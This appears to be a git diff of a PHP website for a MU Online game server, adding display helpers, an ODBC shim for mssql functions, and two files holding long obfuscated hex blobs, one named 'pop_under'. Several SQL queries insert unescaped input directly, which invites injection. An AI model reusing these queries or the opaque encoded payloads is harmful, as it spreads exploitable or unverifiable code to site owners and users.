+ break; + } + return $num; +} + +/////// END Guild Status Formats /////// + + +/////// Start CtlCode Formats /////// +function ctlCode($num) +{ + switch ($num) { + case 0: + $result = 'Member'; + break; + case 1: + $result = 'Blocked'; + break; + case 8: + case 32: + $result = 'Game Master'; + break; + default: + $result = 'unknown'; + break; + } + return $result; +} + +/////// END CtlCode Formats /////// + + +/////// Start Gender Formats /////// +function gender($gender) +{ + switch ($gender) { + case 'male': + return mmw_lang_male . ' male'; + case 'female': + return mmw_lang_female . ' female'; + default: + return 'unknown'; + } +} + +/////// END Gender Formats /////// + + +/////// Start Class Formats /////// +function char_class($class, $style = 'off') +{ + if ($class == 0) { + $class_row = array('off' => 'DW', 'full' => 'Dark Wizard'); + } elseif ($class == 1) { + $class_row = array('off' => 'SM', 'full' => 'Soul Master'); + } elseif ($class == 2 || $class == 3) { + $class_row = array('off' => 'GrM', 'full' => 'Grand Master'); + } elseif ($class == 16) { + $class_row = array('off' => 'DK', 'full' => 'Dark Knight'); + } elseif ($class == 17) { + $class_row = array('off' => 'BK', 'full' => 'Blade Knight'); + } elseif ($class == 18 || $class == 19) { + $class_row = array('off' => 'BM', 'full' => 'Blade Master'); + } elseif ($class == 32) { + $class_row = array('off' => 'Elf', 'full' => 'Fairy Elf'); + } elseif ($class == 33) { + $class_row = array('off' => 'ME', 'full' => 'Muse Elf'); + } elseif ($class == 34 || $class == 35) { + $class_row = array('off' => 'HE', 'full' => 'High Elf'); + } elseif ($class == 48) { + $class_row = array('off' => 'MG', 'full' => 'Magic Gladiator'); + } elseif ($class == 49 || $class == 50) { + $class_row = array('off' => 'DM', 'full' => 'Duel Master'); + } elseif ($class == 64) { + $class_row = array('off' => 'DL', 'full' => 'Dark Lord'); + } elseif ($class == 65 || $class == 66) { + $class_row = array('off' => 'LE', 'full' => 'Lord Emperor'); + } elseif ($class == 80) { + $class_row = array('off' => 'Sum', 'full' => 'Summoner'); + } elseif ($class == 81) { + $class_row = array('off' => 'BSum', 'full' => 'Bloody Summoner'); + } elseif ($class == 82 || $class == 83) { + $class_row = array('off' => 'Dim', 'full' => 'Dimension Master'); + } elseif ($class == 96) { + $class_row = array('off' => 'RF', 'full' => 'Rage Fighter'); + } elseif ($class == 97 || $class == 98) { + $class_row = array('off' => 'FM', 'full' => 'Fist Master'); + } else { + $class_row = array('off' => 'unknown', 'full' => 'unknown'); + } + + switch (intval($class / 16)) { + case 0: + $group_row = array('img' => 'char/dw.gif', 'photo' => '0x00FFFFFFFFFF000000F80000F0FFFFFF'); + break; + case 1: + $group_row = array('img' => 'char/dk.gif', 'photo' => '0x20FFFFFFFFFF000000F80000F0FFFFFF'); + break; + case 2: + $group_row = array('img' => 'char/ef.gif', 'photo' => '0x40FFFFFFFFFF000000F80000F0FFFFFF'); + break; + case 3: + $group_row = array('img' => 'char/mg.gif', 'photo' => '0x60FFFFFFFFFF000000F80000F0FFFFFF'); + break; + case 4: + $group_row = array('img' => 'char/dl.gif', 'photo' => '0x80FFFFFFFFFF000000F80000F0FFFFFF'); + break; + case 5: + $group_row = array('img' => 'char/sm.gif', 'photo' => '0xA0FFFFFFFFFF000000F80000F0FFFFFF'); + break; + case 6: + $group_row = array('img' => 'char/rf.gif', 'photo' => '0xC0FFFFFFFFFF000000F80000F0FFFFFF'); + break; + default: + $group_row = array('img' => 'unknown', 'photo' => '0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'); + break; + } + + return (isset($class_row[$style]) ? $class_row[$style] : '') + . (isset($group_row[$style]) ? $group_row[$style] : ''); +} + +/////// END Class Formats /////// + + +/////// Start Win to UTF Formats /////// +function win_to_utf($str = null) +{ + $str = iconv('cp1251', 'UTF-8', $str); + return str_replace('а', 'a', $str); +} + +function utf_to_win($str = null) +{ + return iconv('UTF-8', 'cp1251//IGNORE', $str); +} + +/////// END UTF to Win Formats /////// + + +/////// Start Guard MMW Message Info /////// +function guard_mmw_mess($to, $text) +{ + $date = date('m/d/y H:i:s'); + $msg_to_sql = mssql_query("SELECT GUID, MemoCount FROM dbo.T_FriendMain WHERE Name='{$to}'"); + $msg_to_row = mssql_fetch_row($msg_to_sql); + $mail_total_sql = mssql_query("SELECT bRead FROM dbo.T_FriendMail WHERE GUID='{$msg_to_row[0]}'"); + $mail_total_num = mssql_num_rows($mail_total_sql); + $msg_id = $msg_to_row[1] + 1; + $msg_text = utf_to_win($text); + mssql_query("INSERT INTO dbo.T_FriendMail (MemoIndex, GUID, FriendName, wDate, Subject, bRead, Memo, Dir, Act, Photo) VALUES ('{$msg_id}','{$msg_to_row[0]}','Guard','{$date}','MMW Message!','0',CAST('{$msg_text}' AS VARBINARY(1000)),'143','2',0x3061FF99999F12490400000060F0)"); + mssql_query("UPDATE dbo.T_FriendMain set [MemoCount]='{$msg_id}',[MemoTotal]='{$mail_total_num}' WHERE Name='{$to}'"); +} + +/////// Start Guard MMW Message Info /////// + + +/////// Start FreeHex Formats /////// +/** + * @noinspection SpellCheckingInspection + */ +function free_hex($size, $cells, $style = 'F') +{ + if ($size === 20 && $style === 'F') { + $hex = 'FFFFFFFFFFFFFFFFFFFF'; + } // 0.97 - 1.02 + elseif ($size === 32 && $style === 'F') { + $hex = 'FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF'; + } // 1.02+ + else { + $hex = str_repeat($style, $size); + } + return str_repeat($hex, $cells); +} + +/////// END FreeHex Formats /////// + + +/////// Start Comment module /////// +/** + * @noinspection PhpUnusedParameterInspection + * @noinspection PhpUnusedLocalVariableInspection + */ +function comment_module($c_id_blog, $c_id_code, $c_add_close = false) +{ + global $mmw, $okey_start, $okey_end, $die_start, $die_end, $rowbr; + require __DIR__ . '/comment.php'; + + return isset($quantityComment) + ? $quantityComment + : 0; +} + +/////// END Comment module /////// + + +/////// Start Comment module /////// +function remove_utf8_bom($text) +{ + if (!is_string($text)) { + return $text; + } + + /** @noinspection SpellCheckingInspection */ + $bom = pack('H*', 'EFBBBF'); + + return preg_replace("/^$bom/", '', $text); +} +/////// END Comment module /////// diff --git a/includes/menu.php b/includes/menu.php new file mode 100644 index 0000000..251083a --- /dev/null +++ b/includes/menu.php @@ -0,0 +1,25 @@ + \ No newline at end of file diff --git a/includes/mmw_sql.php b/includes/mmw_sql.php new file mode 100644 index 0000000..f60b912 --- /dev/null +++ b/includes/mmw_sql.php @@ -0,0 +1,164 @@ + true, + 'host' => $servername, + 'user' => $username, + 'pass' => $password, + ); + return true; + } + + /** + * @deprecated After PHP 5.2 + * @removed 7.0 + */ + function mssql_select_db($database_name, $link_identifier = null) + { + global $mmwsql; + $mmwsql['dbnm'] = $database_name; + if ($link_identifier) { + return $mmwsql['connect'] = odbc_connect('Driver={SQL Server};Server={' . $mmwsql['host'] . '};Database={' . $mmwsql['dbnm'] . '};', $mmwsql['user'], $mmwsql['pass']); + } + return false; + } + + /** + * @deprecated After PHP 5.2 + * @removed 7.0 + */ + function mssql_query($query, $link_identifier = null, $batch_size = 0) + { + global $mmwsql; + $mmwsql['last_query'] = $query; + $mmwsql['list'][] = array( + 'id' => @odbc_exec($link_identifier ? $link_identifier : $mmwsql['connect'], $query), + 'query' => $query, + ); + $resourceId = end($mmwsql['list'])['id']; + if ($resourceId === false) { + throw new Exception($query); + } + return $resourceId; + } + + /** + * @deprecated After PHP 5.2 + * @removed 7.0 + */ + function mssql_fetch_row($result) + { + /* ODBC fetch_row have issue, hack by Vaflan .!.. */ + return mssql_fetch_array($result, MSSQL_NUM); + } + + /** + * @deprecated After PHP 5.2 + * @removed 7.0 + */ + function mssql_fetch_assoc($result_id) + { + if ($result = odbc_fetch_array($result_id)) { + return $result; + } + return false; + } + + /** + * @deprecated After PHP 5.2 + * @removed 7.0 + */ + function mssql_fetch_array($result, $result_type = MSSQL_BOTH) + { + $rows = mssql_fetch_assoc($result); + if ($rows) { + switch ($result_type) { + case MSSQL_BOTH: + return array_merge($rows, array_values($rows)); + case MSSQL_NUM: + return array_values($rows); + case MSSQL_ASSOC: + return $rows; + } + } + return false; + } + + /** + * @deprecated After PHP 5.2 + * @removed 7.0 + */ + function mssql_num_rows($result) + { + return odbc_num_rows($result); + } + + /** + * @deprecated After PHP 5.2 + * @removed 7.0 + */ + function mssql_result($result, $row = 0, $field = 0) + { + /* ODBC result haven't rows params, hack by Vaflan .!.. */ + $i = 0; + while ($rows = @odbc_fetch_array($result)) { + if ($i == $row) { + foreach ($rows as $k => $v) { + if ($k == $field) { + return $v; + } + } + } + $i++; + } + return false; + } + + /** + * @deprecated After PHP 5.2 + * @removed 7.0 + */ + function mssql_get_last_message() + { + global $mmwsql; + return odbc_errormsg($mmwsql['connect']); + } + + /** + * @deprecated After PHP 5.2 + * @removed 7.0 + */ + function mssql_num_fields($result) + { + return odbc_num_fields($result); + } + + /** + * @deprecated After PHP 5.2 + * @removed 7.0 + */ + function mssql_close($link_identifier) + { + global $mmwsql; + odbc_close($mmwsql['connect']); + return $link_identifier === $mmwsql['connect']; + } +} \ No newline at end of file diff --git a/includes/move.php b/includes/move.php deleted file mode 100644 index 4d9bd63..0000000 --- a/includes/move.php +++ /dev/null @@ -1,22 +0,0 @@ - \ No newline at end of file diff --git a/includes/mu_server_file.mmw b/includes/mu_server_file.mmw new file mode 100644 index 0000000..f2dc221 --- /dev/null +++ b/includes/mu_server_file.mmw @@ -0,0 +1,4 @@ +MyMuWeb File Converter by Alexawka v4.03 +======================================== + +[mmw]E3F3D0D7D0B3C6C657E602E6275747562702D0D702D0B346E656F55696464202E2027212974707D6560237960256C69666027202E20256371626164716464202E2024727164737F55696464202F68636560202D0B7025637C65602D702D0B3D556371626164716464202E20272F556C69666F527566727563772B5D5725686361636F577D6D672B565E454F54202A3020202D0D546944627F636562742B5D546940757F6277642B5D556371626164716464202E20272F556C69666F527566727563772B5D5725686361636F577D6D672B565E454F54202F3020202D09246944627F6365627428202E627574756270202D0D70202D0D7020202D0D702020202D0B377F6274202D302D5B5D546940757F6277447E6562727573642B5D556371626164716464202E20272F556C69666F527566727563772B5D5725686361636F577D6D672B565E454F5420202020202D0B7025637C65602D702020202D0B377F6274202D302D5D503B577F62742B5D546940757F6277447E6562727573642B5D556371626164716464202E20272F556C69666F527566727563772B5D5725686361636F577D6D672B565E454F5420202020202D0B7029246944627F6365625371686428202669602020202D0D0B39277F6274202C22247C522825646F6C607875602D30277F6274202020202D0D702020202D0B3920202020202D077F62742020202020202D0C2D7020202020202D0B392D503B5375686364716D64202C272027202C22247C52282563616C6075627F527473702E6275747562702020202020202D0B70292375686364716D6428202E6F6964736E65766020202020202D0C272F222B2D522E5B522F272020202020202D082B6361626C6C61636F5563616C6075627F57656270702D30277F627420202020202D0B702925637C6166602D3D312029272227202C277F62742822747372747378202669602020202D0B39277F6274202C22247C52202C272F2B237C5F27282563616C6075627F57656270702D30277F6274202020202D0D0D702020202D0B35657E69647E6F6360202020202D0B3C6C657E602D30246940757F6277447E65627275736420202020202D0B702927246E6567202D3D3D30277F62742820266965637C65602D702020202D0B35657E69647E6F6360202020202D0B39277F6274282C6166747E69602D30246940757F6277447E65627275736420202020202D0B702929277F627428236962756D657E6F537960262620246940757F6277447E6562727573642128202669602020202D0D0D702020202D0B35657E69647E6F6360202020202D0B702920302D3D3D3029277F6274282E656C62747378202669602020202D0B3929277F6274202C2727202C272F2A2E2F2C5F2C5F27282563616C6075627F57656270782D696274702D30277F6274202020202D0B7029277F6274202371602164716464282028636165627F666020202D0B3C6C657E602D30246940757F6277447E6562727573642020202D0B3925637162616471646428256C6966602D3021647164642020202D0B7029292D556371626164716464202E20272F556C69666F527566727563772B5D5725686361636F577D6D672B565E454F54282974707D656820266960202D0B702920302E302925637162616471646428256A7963756C69666048202669602D0B7D092C6C657E602D30246944627F63656274202C2C6C657E602D30246940757F627764202C25637C6166602D30246944627F63656253716864202C25637162616471646428256C69666F5275667275637F557D602E6F6964736E6576602078607F3C3[/mmw] \ No newline at end of file diff --git a/includes/pop_under.mmw b/includes/pop_under.mmw new file mode 100644 index 0000000..07daffe --- /dev/null +++ b/includes/pop_under.mmw @@ -0,0 +1,4 @@ +MyMuWeb File Converter by Alexawka v4.03 +======================================== + +[mmw]E3470796273637F2C3D0B392824796E6944737279666E2275646E65507F60577D6D6D0B3D7D0D7D0B37287077202B20292922302F20286474696754756376666F6E2A626F6E2275646E65507F60577D6D68202D2022302F2028647469677E2E656562736378202D302476656C6E256C6974737E2A626F6E2275646E65507F60577D6D6D0B392725637C61666D3465667F62707071476162746E2275646E65507F60577D6D67282E6F6964736E65764027756E602D3020757563757F6D6E6F6E247E656D65736F646D0B7029282E6F6964736E6576602A34796E6944737279666D0C2D7D0D7D0B3D7D0D7D0B35637C6166602E62757475627D0B37287077202B202954756376666F602D2029547E65696C636E25602B2029507D6564702D30207F647E256C6974737E2A626F43737F62736D0B37287077202B202854756376666F602D2028547E65696C636E25602B2028507D6564702D302476656C6E256C6974737E2A626F43737F62736D0B70292465667F62707071476162746E2275646E65507F60577D6D6026262026337E6E2275646E65507F60577D6D682026696025637C65602D7D0B35637C6166602E62757475627D0B3954756376666F602D2029547E65696C636E247E656675602B2029507D6564702D30207F647E256C6974737E2A626F43737F62736D0B3854756376666F602D2028547E65696C636E247E656675602B2028507D6564702D302476656C6E256C6974737E2A626F43737F62736D0B70292465667F62707071476162746E2275646E65507F60577D6D602626202435696E2275646E65507F60577D6D682026696D0B70292568202E6F6964736E6576602D3025667F6D6563757F6D6E6F6E247E656D65736F646D0F2A2026335E40246E61602B24356960227F66602E6F6964736E657660207F62746027616274602A2F2D0B35657274702D302465667F62707071476162746E2275646E65507F60577D6D6D0B39207F647E256C6974737E2A626F43737F627368247E694563727160702D3029507D6564702271667D0B392476656C6E256C6974737E2A626F43737F627368247E694563727160702D3028507D6564702271667D0B39547E65696C636E25602A3029547E65696C636E247E656675602F302435696E2275646E65507F60577D6D602D302954756376666F602271667D0B38547E65696C636E25602A3028547E65696C636E247E656675602F302435696E2275646E65507F60577D6D602D302854756376666F602271667D0B7029272271624761627467202D3D3D3024696E2A626F4465627966682026696D0D7D0B347E656D656C65447E656271607E2A626F4465627966602A3025646F6E447E656271607E2A626F4465627966602F3026337E6E2275646E65507F60577D6D602D302A626F44656279666D0B7029272271624761627467202D3D312024696E2A626F44656279666026262029282563716342756070755F647E247E656D656C65407F64702D3D3120256D616E4761647E2A626F44656279666820256C6968677D0B3729746F6267202A3027247E656D656C65447E656D65736F6467202F30272471607D6F634B63616247202D3D312025646F6D4471607D6F636E247E656D65736F646026262025646F6D4471607D6F636E247E656D65736F64602A30272C6D647867202F3026337E6E2275646E65507F60577D6D602D30247E656D656C65407F64702271667D0B347E656D656C654362737E247E656675602A302475676271647E25602F3026337E6E2275646E65507F60577D6D602D302A626F4465627966602271667D0B3567616D69475D4D477F68637E2C6C616E247E656D65736F64602A3029272567616D69475D4D477F6863772824694972447E656D656C654475676E247E656D65736F64602F3026337E6E2275646E65507F60577D6D602D302A626F43737F6273602271667D0B70292568202E6F6964736E6576602A37616274456A796C616964796E696D0C2D7D0D7D0B37256E6F6E67202D3029716C607379646E2567616D69475D4D477F68637E247E656D65736F646D0B372564696867202D302974796C6962696379667E2567616D69475D4D477F68637E247E656D65736F646D0B702924337E6E2275646E65507F60577D6D682026696025637C65602D7D0B37256E6F6E67202D3029716C607379646E256C6974737E2A626F43737F62736D0B372E656464696867202D302974796C6962696379667E256C6974737E2A626F43737F62736D0B702926337E6E2275646E65507F60577D6D602C7C702435696E2275646E65507F60577D6D682026696D0B3567616D69475D4D477F68637E2C6C616E247E656D65736F64602A3029272567616D69475D4D477F6863772824694972447E656D656C654475676E247E656D65736F64602F3026337E6E2275646E65507F60577D6D602D302A626F43737F6273602271667D0F2A202562756860246E6560237E6F6964736E657660207F62746027616274602A2F2D0B702928202E6F6964736E6576602A387F62456469686D0C2D7D0B3D7D0B3925465F4D4543555F4D4E247E6566754823747E656675456371656C65627E207D6564537E6E2275646E65507F60577D6D6D0B702928202E6F6964736E6576602D3020757563757F6D6E6F6E207D6564537E6E2275646E65507F60577D6D6D0B3D7D0D7D0B35637C6166602E62757475627D0B3929537E6E2275646E65507F60577D6D602D20297E25602C28537E6E2275646E65507F60577D6D602D20287E2568297245667F6D6E207D6564537E6E2275646E65507F60577D6D6D0B702921302D3D3D30286364796773576162746E2275646E65507F60577D6D682026696D0B70292568202E6F6964736E6576602D3025667F6D6563757F6D6E6F6E207D6564537E6E2275646E65507F60577D6D6D0B3D7D0B397E25602D3029537E6E2275646E65507F60577D6D6D0B387E25602D3028537E6E2275646E65507F60577D6D6D0B3925465F4D4543555F4D4E247E6566754823747E656675456275747071636E207D6564537E6E2275646E65507F60577D6D6D0B70292568202E6F6964736E6576602D302E677F646563757F6D6E6F6E207D6564537E6E2275646E65507F60577D6D6D0B3920555543555F4D4E247E656675402C702E475F444543555F4D4E247E6566754823747E656675456275747071636E207D6564537E6E2275646E65507F60577D6D6D0B39256D616E682C616675602D30207D6564537E6E2275646E65507F60577D6D6D0D7D0B3E62757475627D0B702924337E6E2275646E65507F60577D6D61282026696D0B7029256D616E68202E6F6964736E6576602A337E407F6274476162746D0C24656E696665646E65702A307D6564537E6D0C24656E696665646E65702A39537E6D0C24656E696665646E65702A38537E6D0C20302A386364796773576162746D0C2C6C616E247E656D65736F64612026262024694972447E656D656C654475676E247E656D65736F64602A36337E6D0C2C6C616E247E656D65736F64602A3435696D0C23727569716C6E247E656D65736F64602A34337E6D0C29272567616D69475D4D477F6863772824694972447E656D656C654475676E247E656D65736F64602A3A626F6D0B702D302275646E65507F60577D6D602271667D0E322470796273637166716A6F24787564722D35607974702470796273637C3D0E3679646F2C3D0E356C6261647F2C3D0E32747F2C3D0E34647F2C3D0E3679646F2C3D0E3F3D0B392D072478747E2275646E65707F607F526567757D697D6F25737E2E616C636E277D6D6F2F2A3074747867202A3D072478747E2275646E65507F6057202F3D09272478747E2275646E65507F605728256C69666F53796D0823747E65647E6F636F5475676F556C696660402F6863656D0F2A20247E65647E6F63402275646E655D207F60502A2F2D0078607F3C3D0E3220302870713028707130203A376E69646461607B303A3D6F64747F626D227564627F626B303A34786769627D227564627F626B313431343134332024696C6F63702870713A327564627F626B364646432A346E657F62776B636162622D356C6974737022247875645567616D69475D4D477F6863722D3469602679646C3D0E322B303030332A327F6C6F636B383340344434432024696C6F63702870713A327564627F626B303830383038332A346E657F62776B6361626B307F647A3E67696C616D2C61636964727566722D356C6974737024647C3D0E32747C3D0E32747F2C3D0E34647F2C3D0E3679646F2C3D0E3679646F2C3D0E3E6160737F2C3D0275646E65507F60502E3F302B3D57256C647964726567772B577D6D64202F686365602078607F3C3D0E322870723A3476656C6D276E69646461607B3470783A356A79637D247E6F666B307F647A3E67696C616D2C616369647275667B364646432A327F6C6F636B346C6F626A3478676965677D247E6F66622D356C697473702E6160737C3D0E322E6F6369622D347C61602D0223434D6155735B64564C6541414141414A54315732656468305B43414A50734858425546576270374A454A75565D6975524B4263415B474A4B2551407240725A7645725A75457462754E68677B6E6A7A407C4B23314A6E47534A505772724754477E424C687F203630303146515554477F4054686E414957663667627141724949615F4F485B6A43367275746E476A534E696941653735565236733F4973384B2E4154546F46723D4877455C487D4F415E415752656052305A7274683F2B2F2F20584F427051727C4E6B2F2F27314930533C467C4E495B4861493F2F2E6845727947767750513671496770534F2545786B2D465867353E4266313C66533D467C6D684676695F247A72667A5075744B6942446A615A41425C435056647B26313463337B6A7F4F2F246435574965565F497053703E4232705C473633737A583556384D6E6F2B664035353977796378443349546A525D46794337475763344A497B286F6A56615343697F2031337236664C4349753F2F2B2836303273787842705F2B2C687F2F293F2A7A6E6F2B2B24427D4979445D49714C4D4A7436674F2F273F2333367F224333777F2173453A6E464B455645425A4254514141414052507C4E677462414147607F41414149517441414775584141476F4761414141463441414543494141495965614141545358603957614141414551595836777A68734141424135515E625141414141563364337271494032535E4851414141414466715450734141414941434F4141414141424141414765554865535E414141414F67674B4037725F4246596C2436356371626B376E607F2567616D696A31647164622D33627370276D696C3D0E322B38707030333A38647469677D2E696D6B3870723A376E69646461607B35667F6D6A327F637275736B307F647A3E67696C616D2C616369647275667B303A356A79637D247E6F66622D356C697473702D02203D386364796773576162746E2275646E65507F60577D6D622D34757F6563757F6D4E6F602D0229272567616D69475D4D477F68637728237E407F6274476162746E2275646E65507F60577D6D6924337E6E2275646E65507F60577D6D6826696B313D386364796773576162746E2275646E65507F60577D6D622D3275667F6563757F6D4E6F602D0229247E6566756827616274456A796C616964796E696E2275646E65507F60577D6D622D3E677F646563757F6D4E6F602222716247616274622D3469602679646C3D0E316F2C3D0E3225637F6C63622D347C6160222B3870723A3E696762716D6B34786769627A34716F6C666B387074313A3478676965686B387076313A38647469677B303A327564627F62622D356C697473702D022D39494953453B425F465553514141414145424A633661596931324731414153587141516F65476947524B4F494D69624E61595F653D47783944725A4A42547244644A7846623764714243453B6B6B28707441665155786469494737437A594E61425A697843677247495F6867635835464173643F67415B62584E47725057705F2F205F2A6E464B455645425A4656414141414052507C4E677462414147607F41414149517441414775584141476F4761414141463441414543494141495965614141545358603957614141414551595836777A68734141424135515E625141414141563364337271494032535E4851414141414466715450734141414941434F4141414141424141414765554865535E414141414F67674B4037725F4246596C2436356371626B376E607F2567616D696A31647164622D33627370276D696C3D0E3225637F6C63422D356C647964702225637C6166602E62757475627B3928287F62456469686E2275646E65507F60577D6D622D3B63696C634E6F602229203824696F667A3470796273637166716A622D3665627860216C3D0E322B39272D3D3767676A4B62754535525A424141414147795A5B635A7F6A477B6A7247714F2F2051414D41587B2E47474748444A6A6C61364748444A6A686868797B23496F26444A6A6868687871594574503C6A5752717A407057346843705179547333644935415265747C416052565F6F2B2C613A5833566862545D474D627239707E665360364363553F685737496933427455595252616A6467613B626B48493943546E66697A7535465E4A44726A747451794F684451596075686560567B6E653A6A58434737323B44746A5A43575171376733434A7A735966574835507A7173707F66594C42446A7E4C4933546D6837674558314E655166324C6835576239445A45607F4941697E4C67635B6A4E68484B6A49417833653B2F64387A7B25544F6A4E6A4A4E4D6958534F46755E6A4673493A4F636454726459685B46634D41416B42533546735B2C6D64707751473C427567653977775A7B4B2A7077617A7945694243344F423B636631436934323251425148323A623656687A7B6742345445463264384359424B655F42536B234347314F2843303449707C6A6E4544487947644C4A5A47316A6846524255535275414141495558766A4532685141414951744141414D663141414D41324141407449414148366B21414777614341414C6F684141403B65594E4749414141414457413B28353953714141515E46403A554141414143746C4A7D474F2A7A653145483F2B645D687B67366B4034565663753A623F2F68384948325B245058393F6673387463666857747676765037365D4A7768597B26386873426832367D68763142756F2C6978526F2F453C69766A5F625A6A503F466936365A6676667958764575737F29663F264561697A7B6938315E697666393C4330596E645F4B276A6E627269544745783A6A5B29524449377A6138407F2050595867436F22536849383765684771793843367A6E433B26713056566953344C64615474454936687734583231773E6368523735737A793669636B21347646685F2936466F22663E46667463345F456754713F22625835313C493467383E456572563332623561323275657E6731636C627271657C4E673568345450507F283F6F44617332385638317D6858673654555B22397B4054643B40585F46744677336B296F285B6038645845463B2B22605F62333F405235373A527F626447433537396669313A5C6469743A7976623B645C4956316E6759755E4673553C6640503775344663793258327E63317264603B27783456357C695264767D64547072516B467D6340723C446367584239387038454F4277387F646162745445636F233A4366663B6E6842577E4964374A7A5A6651376E4E4039746673307F2B2B28787F4360363279593A6352565053533251355E67313236377948403F2143505778747848526F4131685474767C643E65717A4636305330573B2A44766A565267513E465651465474767A47345F233A773752685E4730395056773478673257374B28584754746C447732315C6B255250565B6351305730337A7A46616A58396C405F2F4165744A573767357E4B4E46653C42685B6931333F4477593464403174623E443D6448516B2C6171607442653A5C456265663D6A447A505457557546716170335A433A5B2279767464374C6A68433F67693666536536426458627B4D69564B23725E67417669513B24675677613454613B2133667566664755734654777632764154724C4F697247365762713B656D603276657565365476763456533D6B4231794578377172475A543B464558743B43746568787A63753F674279316F47546039765C4A5950723B4A5433594375447F2F2E667A753E415574797A7973673E46796E62716A5F4B4E695A7F2162365C646D63784F69713F6F66465F6261715231715C4A565142715F47316A46615C656839747C4637587B2C42686C687639723A5D653E607B2A523F4A54586F617158724A5B635F495D49317450597037494230707645617A7D646A75544D487C4B6075634865375F4C4C6F44587B6B685E48374A473351785451776B683F45386B436E45423947447E425F29694E6A4368434E6E634F4759746459466A4D4162417171425157745A4F4F486944514A507F4379486C40716870764356777F4841656771364976776536473E4B2349633074384F4667383F247673753D6E4571796C45377873537C6547546966513D4E6C6A5579583056335A65733F6E40517539617B2F635E4B4139727538355D4E647073354A5A42563450333A7E45433256685E485744503167664967753430574566586847543A4D4433377C474D6538646140375A657661565F644075336B6F4A65353338435271597F497F66435272485577647B443A6246525155334B4A624135623971666A52627A705F4B22694830784B273C4777524745576A4F477A524553476E6341503F22733F2B693F294F2E4033364B2C6E667E48345C466C497333483E4D4F2657556C4A6333377A743B2D4B2E69753A693B2368773864667173365634777564627856453C4A6939794E68573A524B2031505538427666774D465B25334F25446532524B2159405D403A7E4457556D697E6037783E63666F673075357E457F26323F623577726F473D6467567036364568587650546B425566794334787263707C4B23607C4C4C44335A4579496A705433653562364E646030326F465E6072536B4C4058647A6054423054487A7954623C40726A4936433330557A707A7166347F47507446497257336B213867546371744A5669544840345F2E423E65793E4A5674563B27757758347E6468695E66475662323D647575747249585F437A536261723D6374787447377E6A547E6276303B6F4C673072536635747572713C60316E647160337460765659565167553F665865787274757E6C60716255737A46574572396174737F6645616242347666753132656B2D6E6C4A7138703A7D613B60713E4C416A7D4338387D4474445739516B4D6D6264535070773E4075645C4A53594D69576A4A616362674332343B6D4F48574E674A6059555A6746593F68354465725359543857475C68665631514E4368544646583266683C44677A72687654587837686A7D4374724B6777737747664448465F207633375F25513F2C4938786B2E633265656666326D453A476565327E69563B20757937346544726F6265563161763962713274505E4A58707B436163345C69355E633A524F4F243A584463485E6F603872453157673E61357641327074656167357164567276603172547B4352796C6C685160717278765A587B6C44503956374079456B467458633B46333838556B4B4E6E676450387A4B2878653438483A6A555F46755A75613D4B4E4A715535416171723A796732325F2955727B423878523E48427A45485457613A54317E437759437763337A5D423347695D467A6F265377674640744930377D4E4367574B695F2A5538407F2151326F656D617849663F40756235526D4136315130717654717C655E61517A60513D465A5B62793E4C68507B29465C4851383654776175627170717D6B46567F69774651635C6B4650734B484A564830796471776656567C65344A556F4D62784A7E477151387A5374303A595B44595B2B47433C687A59536147426D624B4E686438744758686E4777746030514638596B22507673703852493C6F45325C6468486570386B227074605168576D674458507F647756335A4A58776E4E6A6D61325A754F656955567B4C64786231715169395E4251565F6F623475516F4166524A444D6C6A515530355F454C6E6863517073755F694B2554345163614A475E6B437C6838615B274B6054453444556E6B6859497271434C455D6A724975774A516E683B6A6F624350337A51737B6B2943553D60374A447543545640787D6B61415D673A497D45596351597E454055496732487C44583F654750534C4948613868794A695951536B225F627A40357541745B497A43484648644B677E4A4F64654031534847676B43595735475D4866435245325957694034654954534148555763515774687B2839513E6435744771765771786872797142796547397A6E4A5343776453734E43787571444265405A7249576F47777368315B283F62305762317156656F623779505161527361567A4F67583F6D6871584A5156776F67425F674337616574465C44455334555977494C687365467749767769714149773540757748713865394763693946684946564945507F655877655E42557B69425252496A44434A4C4B4242494643694438595D6857676A6A676C696966414961684359545761497242515342497C4B42473A4348607F2447713A6444375C67757431436451694162524D4E4461454136714D6B4461426A774969615349716B476A484841435D634342486153445D4A43425F6E47687F23424A7462424A7862414A734742445F274242427B42434B4251414143484F2A737B445C6C4B615B6851414153635D6B6A5143415A4765655F2F283B2F23393364344967476447614B45584832673B4051414366743144584751536973523057795468616C425578514B2F674371455A733B2D477B237834743B6936703C65536B435B45596965517D4A7A7F6D6545395363554134355F6347553B4753554C497034677F2F2C436C4F28493F65336C47486A49453A73655B44503A7377776A6052484649585975494A49673C443136605F2834385B23713F26514F2C677E65366668507369526A45487B486E453B6855623A5E6C4B686755405834384B277E4F26516E6F4F61455C415059427A5C456664676577685F6257673C69417F24724F6247314F674A7B234C4B28447660364F4141414543627B23653B205579596A497F2748327634783C6442363F6E4F4733727F443D4569305F276768425642534B4141477838376F214E424B44574A5D6E6775714B6D686A41595231587B485B6B6A7F64386C485461324871334342664952553153557839426D6432414141736F454575735838336C68374252414A535941443E4979494447414732514140755949625244414D476141497571454F444D4143334C41494A52365A42444144776E41453158335D6252414777664146407F66505A7B41473767414548695A54514341425341614655434C62624151473C6A4B2463494144526B266E614741447146414A6C42395C44474145414B41445A534D64634951474245414D6B4B6A66324541455149434C48645B6032436145434951436C6071517F277F2849724D41467A54514441434C4D4E456241476678414379427774405B286051424D435F2A76434A5A7961454141484A4B454941557155643744583874434565456945517D41495E425E4443575971434146677A7A723538337565705858527F2E426B29383169316A65785437327379694F46376F4B41694B6661423B4F6944437546564D434F6A6F4F4149676968374545555252554365565B646F68676F63515B61594179535B65514439634A4649494558655674754C614964335342567333333A66407056465E6E465E616A684141455742607A523269724849444E4553576143326F6E43326039374161524131544C62345B4141414957707D614547754C41414144537141414D48575942485341414141405467653B62414141494143454141414147653141414765554865535E414141414F67674B4037725F4246596C2436356371626B376E607F2567616D696A3164716467282C62757A346E657F62776B636162622D356C697473702679646C3D0E34647C3D0E32747C3D0E322B303830383038332024696C6F63702870713A3D6F64747F626D227564627F626B303830383038332024696C6F63702870713A34786769627D227564627F626B364646432024696C6F6370287071302A3476656C6D227564627F626B364646432024696C6F63702870713A307F647D227564627F626B383340344434432A346E657F62776B6361626B35647162716075637A356370716C6C6F636D227564627F626B3870713A376E69636160737D227564627F62622D356C69747370256C6261647C3D0E322B36696275637C216D6F68616450247078302A347E6F666B303430343034332024696C6F63702870713A3D6F64747F626D227564627F626B303430343034332024696C6F63702870713A34786769627D227564627F626B383340344434432024696C6F63702870713A3476656C6D227564627F626B383340344434432024696C6F63702870713A307F647D2